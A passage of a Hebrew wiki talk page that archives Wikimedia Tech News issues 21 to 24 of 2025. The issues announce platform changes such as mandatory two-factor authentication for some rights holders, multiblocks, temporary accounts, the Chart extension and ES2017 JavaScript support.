* [[m:Special:MyLanguage/MENA Connect Community Call|מפגש וירטואלי של MENA]], אזור [[w:en:Middle East and North Africa|מזרח התיכון וצפון אפריקה]], יתקיים ב-[https://zonestamp.toolforge.org/1747501200 17 במאי ב-17:00 UTC]. ניתן [[m:Event:MENA Connect (Wiki_Diwan) APP Call|להירשם עכשיו]].

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/20|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W20&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 01:38, 13 במאי 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:UOzurumba (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28714188 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 21 ==

&lt;section begin=&quot;technews-2025-W21&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/21|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* צוות העריכה וצוות למידת המכונה עובדים על יצירת בדיקה למשתמשים חדשים, [[mw:Edit check/Peacock check|בדיקת הטווס]]. באמצעות מודל הניבוי הבדיקה תעודד את העורכים לשפר את רמת העריכות, וזה ייעשה בעזרת בינה מלאכותית. אנו מזמינים מתנדבים לסקור את הגרסה הראשונה של המודל הלשוני של הטווס בשפות הבאות: ערבית, ספרדית, פורטוגזית, אנגלית ויפנית. המשתמשים מאתרי ויקי בשפות הללו המעוניינים לנסות את המודל מוזמנים [[mw:Edit check/Peacock check/model test|להירשם באתר mediawiki.org]] עד ל-23 במאי, יום בו יתחיל הניסוי.

'''עדכונים לעורכים'''

* החל מ-20 במאי 2025 יצטרכו [[m:Special:MyLanguage/Oversight policy|המעלימים]] ו[[m:Special:MyLanguage/Meta:CheckUsers|הבודקים]] להפעיל אימות דו שלבי, 2FA, בחשבונותיהם, וזאת כדי שיוכלו להשתמש בהרשאות שלהם. כל החברים בשתי הקבוצות הללו שטרם הפעילו 2FA קיבלו על כך הודעה. יש סיכוי שבעתיד הדרישה הזאת תורחב לקבוצות נוספות עם הרשאות מתקדמות. ניתן לקרוא [[m:Special:MyLanguage/Mandatory two-factor authentication for users with some extended rights|פרטים נוספים]].
* [[File:Octicons-gift.svg|12px|link=|class=skin-invert|סקר המשאלות]]  [[m:Special:MyLanguage/Community Wishlist Survey 2023/Multiblocks|חסימות מרובות]] ייפרסו ברחבי האתרים בסוף החודש. כל המיזמים שהם לא ויקיפדיה וגם ויקיפדיה הקטלאנית יקבלו את החסימות המרובות בשבוע של 26 במאי, ושאר ויקיפדיות יקבלו אותו בשבוע של 2 ביוני. יש [[m:Talk:Community Wishlist Survey 2023/Multiblocks|ליצור קשר עם הצוות]] במקרה שיש דאגות. המפעילים יוכלו לנסות את הממשק החדש כבר עכשיו בוויקי שלהם באמצעות מעבר לכתובת [{{fullurl:Special:Block|usecodex=1}} {{#special:Block}}?usecodex=1], ולבדוק את הפונקציונליות המלאה ב-[[testwiki:Special:Block|testwiki]]. חסימות מרובות מאפשרות להפעיל סוגי חסימות שונים בו זמנית על אותו משתמש. למידע נוסף ניתן לקרוא את [[mw:Special:MyLanguage/Help:Manage blocks|דף העזרה]]. [https://phabricator.wikimedia.org/T377121]
* בהמשך השבוע רשימת כמעט כל הדפים המיוחדים, [[{{#special:SpecialPages}}]], תשנה עיצוב. זה [[phab:T219543|נעשה]] כדי לשפר את חווית המשתמש בכמה אופנים, ביניהם יכולת לחפש שמות ושמות נרדפים של דפים מיוחדים, מיון, סימון בולט יותר של דפים עם גישה מוגבלת, ותצוגה נוחה יותר בניידים. ניתן לראות את [https://meta.wikimedia.beta.wmflabs.org/wiki/Special:SpecialPages הגרסה החדשה] בבטא קלאסטר כבר עכשיו, ולהשאיר משוב בפבריקטור. [https://phabricator.wikimedia.org/T219543]
* [[mw:Special:MyLanguage/Extension:Chart|הרחבת הגרפים Chart]] תופעל באתרי ויקי נוספים. לתאריכים ראו את [[mw:Special:MyLanguage/Extension:Chart/Project#Deployment Timeline|טיימליין הפריסה]].
* [[f:Special:MyLanguage/Wikifunctions:Main Page|ויקיפונקציות]] יפעלו ב-27 במאי בחמישה אתרי ויקימילון, בשפות [[wikt:ha:|האוסה]], [[wikt:ig:|איגבו]], [[wikt:bn:|בנגלי]], [[wikt:ml:|מליילם]] ו[[wikt:dv:|מלדיבית]]. זה השלב השני בפריסה המתוכננת. כתוצאה מכך ניתן יהיה לקרוא ל[[f:Special:MyLanguage/Wikifunctions:Introduction|פונקציות מתוך ויקיפונקציות]] ולשלב אותן בדפים. פונקציה מקבלת פרמטר אחד או יותר ומחשבת תוצאה רצויה, למשל חיבור שני מספרים, המרת מיילים במטרים, חישוב הזמן שעבר מתאריך מסוים, או [[he:יחסה|הצגת מילים ביחסה]]. ויקיפונקציות תאפשר למשתמשים לעשות את כל זה באמצעות קריאות פשוטות ל[[f:Special:MyLanguage/Wikifunctions:Catalogue|פונקציה יציבה גלובלית]] במקום תבנית מקומית.
* במהלך השבוע תפרסם קרן ויקימדיה hub ל[[diffblog:2024/07/09/on-the-value-of-experimentation/|ניסויים]], וזאת כדי שאפשר יהיה לבצע את הניסוייים הללו ולקבל משוב עליהם. הם יעזרו לתנועת ויקימדיה [[diffblog:2023/07/13/exploring-paths-for-the-future-of-free-knowledge-new-wikipedia-chatgpt-plugin-leveraging-rich-media-social-apps-and-other-experiments/|להבין משתמשים חדשים]], את הדרך בה הם מתקשרים עם הרשת, ואיך זה יכול להשפיע על התנועה. בתור דוגמאות מוצגים [[m:Special:MyLanguage/Future Audiences/Generated Video|וידאו שנוצר אוטומטית]], [[m:Special:MyLanguage/Future Audiences/Roblox game|משחק מהירות של ויקיפדיה ב-Roblox]] ו[[m:Special:MyLanguage/Future Audiences/Discord bot|בוט עבור Discord]].
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:29|התקלה שדווחה|כל {{formatnum:29}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקן הבאג ביצירת חשבונות חדשים באמצעות API.&amp;rlm; [https://phabricator.wikimedia.org/T390751]

'''עדכונים לעורכים הטכניים'''
* גאדג'טים וסקריפטים אישיים העובדים עם הדף [[{{#special:Block}}]] צריכים להיבדק ובמקרה הצורך להתעדכן כדי לעבוד עם [[mw:Special:MyLanguage/Help:Manage blocks|ממשק החסימה החדש]]. יש לקרוא את [[mw:Help:Manage blocks/Developers|ההנחיות למפתח]] לקבלת פרטים נוספים. אם יש צורך בעזרה או הסקריפט לא מצליח לעבוד בממשק החדש יש לפנות ל[[mw:Help talk:Manage blocks/Developers|דף השיחה]]. [https://phabricator.wikimedia.org/T377121]
* האובייקט &lt;code dir=ltr&gt;mw.title&lt;/code&gt; מאפשר לקבל מידע על דף ויקי מסוים בשפת התכנות [[w:he:ויקיפדיה:לואה|Lua]]. החל מהשבוע יתווסף שדה חדש לאובייקט, &lt;code dir=ltr&gt;isDisambiguationPage&lt;/code&gt;. השדה מאפשר לבדוק האם הדף המדובר הוא דף פירושונים מבלי הצורך לכתוב פונקציה נפרדת בשביל כך. [https://phabricator.wikimedia.org/T71441]
* [[File:Octicons-tools.svg|15px|link=|class=skin-invert|דיווח טכני]] מפתחי סקריפטים אישיים יכולים להשתמש ב[[toolforge:gitlab-content|כלי פרוקסי הפוך חדש]] לטעינת javascript ו-css מ-[[gitlab:|gitlab.wikimedia.org]] באמצעות &lt;code dir=ltr&gt;mw.loader.load&lt;/code&gt;. כותב הכלי מקווה שהוא יאפשר פיתוח באמצעות עבודה משותפת של סקריפטים אישיים, כולל בדיקות לינטר, בדיקות יחידה, יצירת קוד אוטומטית וסקירת הקוד באתר &lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;gitlab.wikimedia.org&lt;/bdi&gt; ללא צורך בשלב העתק-הדבק לפרסום הסקריפטים באתר ויקי, למען שילוב ובדיקות קבלה. ראו [[wikitech:Tool:Gitlab-content|Tool:Gitlab-content]] ב-Wikitech לקבלת פרטים נוספים.
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.2|MediaWiki]]

'''פגישות ואירועים'''
* המהדורה  ה-12 של [[m:Special:MyLanguage/Wiki Workshop 2025|Wiki Workshop 2025]], הפורום המביא יחד חוקרים שבוחנים את כל האספקטים של מיזמי ויקימדיה, יתקיים אונליין בין 21 ל-22 במאי. החוקרים מוזמנים [https://pretix.eu/wikimedia/wikiworkshop2025/ להרשם] כבר עכשיו.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/21|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W21&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 02:13, 20 במאי 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28724712 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 22 ==

&lt;section begin=&quot;technews-2025-W22&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/22|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* במטא מתקיים עכשיו דיון לכל הקהילות בנושא עדין מאוד לגבי הפיתוח של [[m:Special:MyLanguage/Abstract Wikipedia|Abstract Wikipedia]]: איפה לשמור את התוכן המופשט שיפותח באמצעות הפונקציות של ויקיפונקציות ונתונים בוויקינתונים. הדיון פתוח עד ל-12 ביוני בדף &lt;span style=&quot;white-space:nowrap;&quot;&gt;[[m:Special:MyLanguage/Abstract Wikipedia/Location of Abstract Content|Abstract Wikipedia/Location of Abstract Content]]&lt;/span&gt;, וכל הדעות יתקבלו בברכה. ההחלטה תתקבל ותפורסם בידי הקרן אחרי תקופת התייעצות.

'''עדכונים לעורכים'''
* החל מהשבוע שעבר בכל אתרי ויקי, למעט [[phab:T388604|עשרים הגדולים]], יקבלו משתמשי העורך החזותי הנייד [[phab:T385851|תפריט כלים חדש]], אותו ניתן לפתוח באמצעות הכפתור &lt;code&gt;+&lt;/code&gt;. התפריט יאפשר בין היתר הוספות דברים שונים, כמו ציטוטים, הירוגליפים וקוד. שאר אתרי ויקי, ביניהם ויקיפדיה העברית וויקישיתוף, [[phab:T388605|יקבלו את התפריט החדש]] ביוני.
* [[File:Octicons-tools.svg|12px|link=|class=skin-invert|דיווח טכני]] פונקציית הפרסר &lt;code dir=ltr&gt;[[mw:Special:MyLanguage/Help:Extension:ParserFunctions##ifexist|#ifexist]]&lt;/code&gt; לא תיצור יותר קישור לדף היעד. זה ישפר את יעילות השימוש בדף [[{{#special:WantedPages}}]], שבסוף יכיל רק דפים שבאמת קיים קישור אדום אליהם. המעבר יתקיים בהדרגה ככל שדפי המקור יעודכנו. [https://phabricator.wikimedia.org/T14019]
* השבוע יפעיל צוות כלי הניטור את [[mw:Special:MyLanguage/2025 RecentChanges Language Agnostic Revert Risk Filtering|הפילטר בחדש לדף השינויים האחרונים]] בוויקיפדיה האינדונזית. הפילטר מדגיש את העריכות עם סבירות גדולה לשחזור, כדי שהמנטרים יזהו בקלות עריכות שיכולות להיות בעייתיות. כל שאר אתרי ויקי יקבלו את הפילטר החדש בעתיד.
* לאחר לחיצת העכבר בשדה החיפוש הריק יקבלו משתמשים שלא מחוברים לחשבון הצעות ערכים לקריאה. זה יקרה בשני המצבים, כולל בנייד. הקוראים בוויקיפדיות העברית, הקטלאנית והאיטלקית, כמו גם כמה אתרים שהם לא ויקיפדיות, יקבלו את השינוי בין 21 במאי לאמצע יוני. לשאר אתרי ויקי זה יגיע מאוחר יותר. המטרה היא לעודד משתמשים לקרוא יותר באתרי ויקי. ניתן לקבל [[mw:Special:MyLanguage/Reading/Web/Content Discovery Experiments/Search Suggestions|פרטים נוספים]].
* חלק מהמשתמשים של יישומון ויקיפדיה לאנדרואיד יכולים להשתמש בתכונה חדשה לקוראים בשם [[mw:Special:MyLanguage/Wikimedia Apps/Team/Android/TrivaGame|WikiGames]]. מדובר במשחק טריוויה יומי המבוסס על האירועים ההיסטוריים. מתקיימת בדיקת A/B, והמשחק זמין למחצית המשתמשים בשפות הבאות: אנגלית, צרפתית, פורטוגזית, רוסית, ספרדית, ערבית, סינית וטורקית.
* [[mw:Special:MyLanguage/Extension:Newsletter|ההרחבה Newsletter]] באתר mediawiki.org מאפשרת יצירת [[mw:Special:Newsletters|עיתוני ויקי]] מגוונים עבור המשתמשים בכל אתרי ויקי. ההרחבה מאפשרת עכשיו לפרסם גיליונות חדשים שהם פרקים בדף מסוים, כך שאין יותר צורך ליצור כל פעם דף חדש. [https://phabricator.wikimedia.org/T393844]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:32|התקלה שדווחה|כל {{formatnum:32}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* התצוגות &lt;code dir=ltr&gt;[[mw:Special:MyLanguage/Manual:Ipblocks table|ipblocks]]&lt;/code&gt; ב[[wikitech:Help:Wiki Replicas|וויקירפליקות]] שהוכרזו בעבר כמיושנים יוסרו בתחילת יוני. המשתמשים מתבקשים להשתמש במקום זאת בתצוגות החדשות &lt;code dir=ltr&gt;[[mw:Special:MyLanguage/Manual:Block table|block]]&lt;/code&gt; או &lt;code dir=ltr&gt;[[mw:Special:MyLanguage/Manual:Block target table|block_target]]&lt;/code&gt;.
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.3|MediaWiki]]

'''פגישות ואירועים'''
* האירוע בשם &quot;[[d:Special:MyLanguage/Event:Wikidata and Sister Projects|Wikidata and Sister Projects]]&quot; יתקיים בין 29 במאי ל-1 ביוני, והוא יתמקד בשילוב ויקינתונים בוויקיפדיה ומיזמי ויקימדיה אחרים. ניתן לקרוא את [[d:Special:MyLanguage/Event:Wikidata and Sister Projects#Sessions|לוח הזמנים]] ו[[d:Special:RegisterForEvent/1291|להרשם]].

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/22|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W22&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 23:05, 26 במאי 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:UOzurumba (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28788673 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 23 ==

&lt;section begin=&quot;technews-2025-W23&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/23|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* [[mw:Special:MyLanguage/Extension:Chart|הרחבת Chart]] זמינה עכשיו בכל אתרי ויקי של ויקימדיה. עורכים יכולים להשתמש בה ליצירת ויזואליזציות ידע אינטראקטיביות. מדובר בארבעה סוגי תרשימים: עמודות, קווים, שטח ועוגה. ההרחבה נוצרה כדי להחליף רבים מהשימושים ב[[mw:Special:MyLanguage/Extension:Graph|הרחבת Graph]] הישנה.

'''עדכונים לעורכים'''
* נהיה קל יותר לקבוע הגדרות לציטוטים אוטומטיים באתר ויקי שלכם ב[[mw:Special:MyLanguage/Citoid/Enabling Citoid on your wiki|יוצר הציטוטים]] של העורך החזותי. המפעילים יכולים עכשיו לקבוע תבנית ברירת מחדל באמצעות שימוש במפתח &lt;code dir=ltr&gt;_default&lt;/code&gt; בדף מקומי &lt;span style=&quot;white-space:nowrap;&quot;&gt;&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[MediaWiki:Citoid-template-type-map.json]]&lt;/bdi&gt;&lt;/span&gt;, כפי שניתן לראות ב[[mw:Special:Diff/6969653/7646386|דוגמה להשוואת גרסאות]]. שימוש בברירת המחדל יעזור גם להגן על ההגדרות הקיימות כש[[phab:T347823|סוגי ציטוט חדשים]] יתווספו בעתיד. עדיין ניתן לקבוע תבניות לסוגי ציטוט נפרדים כדי להעדיף אותן על פני תבנית ברירת המחדל. [https://phabricator.wikimedia.org/T384709]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:20|התקלה שדווחה|כל {{formatnum:20}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* החל מהשבוע הבוטים שמשתמשים ב-&lt;code dir=ltr&gt;action=login&lt;/code&gt; או &lt;code dir=ltr&gt;action=clientlogin&lt;/code&gt; בזמן התחברות ייכשלו הרבה יותר, כתוצאה מהגנה חזקה יותר ממתחברים חשודים. בוטים המשתמשים ב[[mw:Special:MyLanguage/Manual:Bot passwords|ססמת בוט]] או אימות ללא התחברות כמו [[mw:Special:MyLanguage/OAuth/Owner-only consumers|OAuth]] לא ייפגעו. אם הבוט שלכם לא משתמש בדרכים הללו עליכם לעדכן אותו. שימוש ב-&lt;code dir=ltr&gt;action=login&lt;/code&gt; ללא ססמת בוט הוכרז כמיושן ב-[[listarchive:list/wikitech-l@lists.wikimedia.org/message/3EEMN7VQX5G7WMQI5K2GP5JC2336DPTD/|2016]]. עבור רוב הבוטים מדובר רק בהחלפת הססמה שבשימוש. [https://phabricator.wikimedia.org/T395205]
* החל מהשבוע אתרי ויקי של ויקימדיה יאפשרו שימוש ב-Javascript גרסת ES2017 עבור הקוד הרשמי, גאדג'טים וסקריפטים אישיים. התכונה הבולטת ביותר של ES2017 היא תחביר &lt;span style=&quot;white-space:nowrap;&quot;&gt;&lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;async&lt;/code&gt;/&lt;code&gt;await&lt;/code&gt;&lt;/bdi&gt;&lt;/span&gt;, המאפשר קוד קל יותר לקריאה. עד השבוע ניתן היה להשתמש בגרסת ES2016, ועד לפני כמה חודשים ב-ES2015.&amp;rlm; [https://phabricator.wikimedia.org/T381537]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.4|MediaWiki]]

'''פגישות ואירועים'''
* נפתחה הגשת בקשות למלגת השתתפות ב[[m:Special:MyLanguage/GLAM Wiki 2025|וועידת GLAM Wiki 2025]]. הוועידה תתקיים בין 30 באוקטובר ל-1 בנובמבר בליסבון שבפורטוגל. תורמי GLAM  חסרי יכולת להשתתף יכולים [[m:Special:MyLanguage/GLAM Wiki 2025/Scholarships|לפנות לכאן]]. הגשת הבקשות למלגות תסתיים ב-7 ביוני.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/23|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W23&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 02:55, 3 ביוני 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=28819186 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 24 ==

&lt;section begin=&quot;technews-2025-W24&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/24|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* [[mw:Special:MyLanguage/Trust and Safety Product|צוות T&amp;S]] מסיים את העבודה הנדרשת לפריסת [[mw:Special:MyLanguage/Trust and Safety Product/Temporary Accounts|החשבונות הזמניים]] על ויקיפדיה גדולות בהמשך החודש. הצוות עבד עם הדיילים והמשתמשים האחרים המחזיקים בהרשאות מורחבות כדי לצפות ולהתייחס למקרים רבים שיכולים לקרות בוויקיפדיות הגדולות, כדי שחברי הקהילה יוכלו להמשיך לנטר ביעילות את החשבונות הזמניים. מדובר בשלב השני של הפריסה מתוך שלושה. השלב האחרון יתקיים בספטמבר או אף מאוחר יותר. מידע נוסף על ההתפתחויות האחרונות במיזם ניתן [[mw:Special:MyLanguage/Trust and Safety Product/Temporary Accounts/Updates|למצוא לכאן]]. עם הערות או שאלות אפשר לפנות ל[[mw:Talk:Trust and Safety Product/Temporary Accounts|דף השיחה]] או [[m:Event:CEE Catch up Nr. 10 (June 2025)|להצטרף לפגישה עדכון]] ביום שלישי הקרוב.

'''עדכונים לעורכים'''
* [[File:Octicons-gift.svg|12px|link=|class=skin-invert|סקר המשאלות]] תכונת [[mw:Special:MyLanguage/Help:Watchlist expiry|תוקף התפוגה של רשימת המעקב]] מאפשרת לעקוב אחרי דפים לתקופה מוגבלת, בסיומה הדף מוסר אוטומטית מהרשימה. החל מהשבוע ניתן לקבוע ב[[Special:Preferences#mw-prefsection-watchlist-pageswatchlist|העדפות]] את תקופת ברירת המחדל, או לחילופין תקופות ברירת מחדל נפרדות עבור דפים קיימים, הדפים שאתם יוצרים, ובזמן פעולת שחזור. [https://phabricator.wikimedia.org/T265716]
[[File:Talk pages default look (April 2023).jpg|thumb|alt=צילום המסך של השיפורים הוויזואליים בדפי השיחה.|דוגמה לדף שיחה בצרפתית עם העיצוב החדש.]]
* המראה של דפי השיחה ישתנה כמעט בכל אתרי ויקיפדיה. [[m:Special:MyLanguage/Tech/News/2024/19|חלקן]] כבר משתמשים בעיצוב החדש, ביניהן ויקיפדיה העברית. ל[[phab:T379264|עוד כמה]] השינוי יגיע בעתיד. ניתן לקבל פרטים על השינויים בבלוג ב-&quot;[[diffblog:2024/05/02/making-talk-pages-better-for-everyone/|Diff]]&quot;. אפשר לכבות את השינויים ב[[Special:Preferences#mw-prefsection-editing-discussion|העדפות]], באמצעות ההגדרה &quot;{{int:discussiontools-preference-visualenhancements}}&quot;.&amp;rlm; [https://phabricator.wikimedia.org/T319146][https://phabricator.wikimedia.org/T392121]
* משתמשים בעלי הרשאות מורחבות, כולל מפעילים, בירוקרטים, בודקים, מעלימים ודיילים, יכולים עכשיו לראות את כתובות ה-IP של כל החשבונות הזמניים [[phab:T358853|בצורה אוטומטית]] במשך תקופה מוגבלת כשהם צריכים לפעול נגד משחיתים שמחליפים את הכתובות שלהם לעתים קרובות. התכונה הופעלה לבקשת הדיילים. [https://phabricator.wikimedia.org/T386492]
* צוותי הניטור ולמידת המכונה ימשיכו השבוע לפרוס [[mw:Special:MyLanguage/2025 RecentChanges Language Agnostic Revert Risk Filtering|מסנן חדש לרשימת המעקב]] לכמה ויקיפדיות נוספות: {{int:project-localized-name-afwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-bewiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-bnwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-cywiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-hawwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-iswiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-kkwiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-simplewiki/he}}{{int:comma-separator/he}}{{int:project-localized-name-trwiki/he}}. המסנן משתמש במודל הסיכון ההפוך, שנבנה בידי צוות המחקר, כדי להדגיש עריכות עם סיכוי גבוה לשחזור על מנת לעזור למנטרי השינויים האחרונים לזהות תרומות עם בעיות אפשריות. הפריסה תמשך בשבועות בקרובים ב[[mw:Special:MyLanguage/2025 RecentChanges Language Agnostic Revert Risk Filtering|שאר ויקיפדיות]]. [https://phabricator.wikimedia.org/T391964]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:27|התקלה שדווחה|כל {{formatnum:27}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* עורכי מסנן ההשחתות הפעילים במטא ובוויקיפדיות הגדולות מתבקשים לעדכן את המסננים כדי להתאים אותו לעבודה עם החשבונות הזמניים. קישור להנחיות העדכון ורשימות פרטיות של המסננים הדורשים בדיקה ניתן [[phab:T369611|למצוא בפבריקטור]].
* ליחידות לואה יש עכשיו גישה לשם הקובץ המכיל את התמונה הממוזערת שנקבעה עבור הדף, בה נעשה שימוש בתצוגה מקדימה של קישור או בחיפוש ויקי. ב[https://gerrit.wikimedia.org/g/operations/mediawiki-config/+/2e4ab14aa15bb95568f9c07dd777065901eb2126/wmf-config/InitialiseSettings.php#10849 חלק מאתרי ויקי], לא כולל בעברית, ישנה גישה גם למידע המעריך את הדף. הגישה נעשית באמצעות שתי תכונות חדשות של [[mw:Special:MyLanguage/Extension:Scribunto/Lua reference manual#added-by-extensions|האובייקט mw.title]], בשם &lt;code dir=ltr&gt;pageImage&lt;/code&gt; ו-&lt;code dir=ltr&gt;pageAssessments&lt;/code&gt;. [https://phabricator.wikimedia.org/T131911][https://phabricator.wikimedia.org/T380122]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.5|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/24|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W24&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 04:17, 10 ביוני 2025 (IDT)
